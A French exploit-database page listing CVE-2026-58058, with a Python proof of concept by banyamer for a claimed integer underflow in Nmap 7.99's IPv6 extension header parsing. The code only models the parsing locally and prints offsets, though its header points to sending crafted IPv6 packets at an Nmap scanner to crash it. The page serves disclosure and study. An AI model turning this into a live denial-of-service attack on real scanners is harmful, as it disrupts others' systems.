Exploit matérialisé

CVE-2026-58058

MEDIUM

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB dos multiple

Source

Nmap 7.99 - Extension Header Integer Underflow

Par banyamer

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

python3 52647.py

Code py

# Exploit Title:         Nmap  7.99  - Extension Header Integer Underflow
# CVE:                   CVE-2026-58058
# Date:                  2026-06-29
# Exploit Author:        Mohammed Idrees Banyamer
# Author Country:        Jordan
# Instagram:             @banyamer_security
# Author GitHub:         https://github.com/mbanyamer
# Author Blog  :         https://banyamersecurity.com/blog/
# Vendor Homepage:       https://nmap.org
# Software Link:         https://nmap.org/download
# Affected:              Nmap <= 7.99
# Tested on:             Nmap 7.99 (raw IPv6 scans)
# Category:              Remote Denial of Service
# Platform:              Linux / Windows / macOS
# Exploit Type:          Proof of Concept
# CVSS:                  6.9
# Description:           Triggers integer underflow in IPv6 extension header parsing (ipv6_get_data_primitive) leading to OOB reads and crash.
# Fixed in:              Nmap commit bb6754e (post-7.99)
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Options:
#   --
#
# Notes:
#   • This is a standalone parser + packet model PoC.
#   • For real triggering, craft and send IPv6 packets toward an Nmap scanner.
#
# How to Use
#
# Step 1:
#   Save as exploit.py and run with Python 3.
#
# Step 2:
#   Observe the length wraparound that would cause Nmap to misbehave.
def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def is_extension(hdr):
    return hdr in [0, 43, 44, 60]

def is_upper(hdr):
    return hdr in [6, 17, 58, 132]

def parse_ipv6_payload(packet, upper_only=True):
    if len(packet) < 40:
        return None, None, None

    nxt = packet[6]
    p = 40
    end = len(packet)

    while p < end and is_extension(nxt):
        if p + 2 > end:
            return None, None, None
        nxt = packet[p]
        ext_len = packet[p + 1]
        p += (ext_len + 1) * 8

    payload_len = end - p
    if upper_only and not is_upper(nxt):
        return None, None, None

    return p, nxt, payload_len

def main():
    banner()

    # Crafted packet (48 bytes)
    packet = bytearray(48)
    packet[0] = 0x60
    packet[4] = 0x00
    packet[5] = 0x08   # IPv6 payload length = 8
    packet[6] = 0      # Next Header = Hop-by-Hop
    packet[40] = 17    # Extension next = UDP
    packet[41] = 1     # Extension length field = 1

    captured_len = len(packet)
    payload_offset, next_header, payload_len = parse_ipv6_payload(packet)

    print("helper_returned =", "true" if payload_offset is not None else "false")
    print("next_header =", next_header)
    print("payload_offset =", payload_offset)
    print("wrapped_payload_len =", payload_len)

    # Downstream length adjustment model
    ip_payload_len = (packet[4] << 8) | packet[5]
    validator_len = captured_len
    if payload_len > ip_payload_len:
        validator_len -= payload_len - ip_payload_len

    print("validator_len_after_adjust =", validator_len)
    print("captured_len =", captured_len)

if __name__ == "__main__":
    main()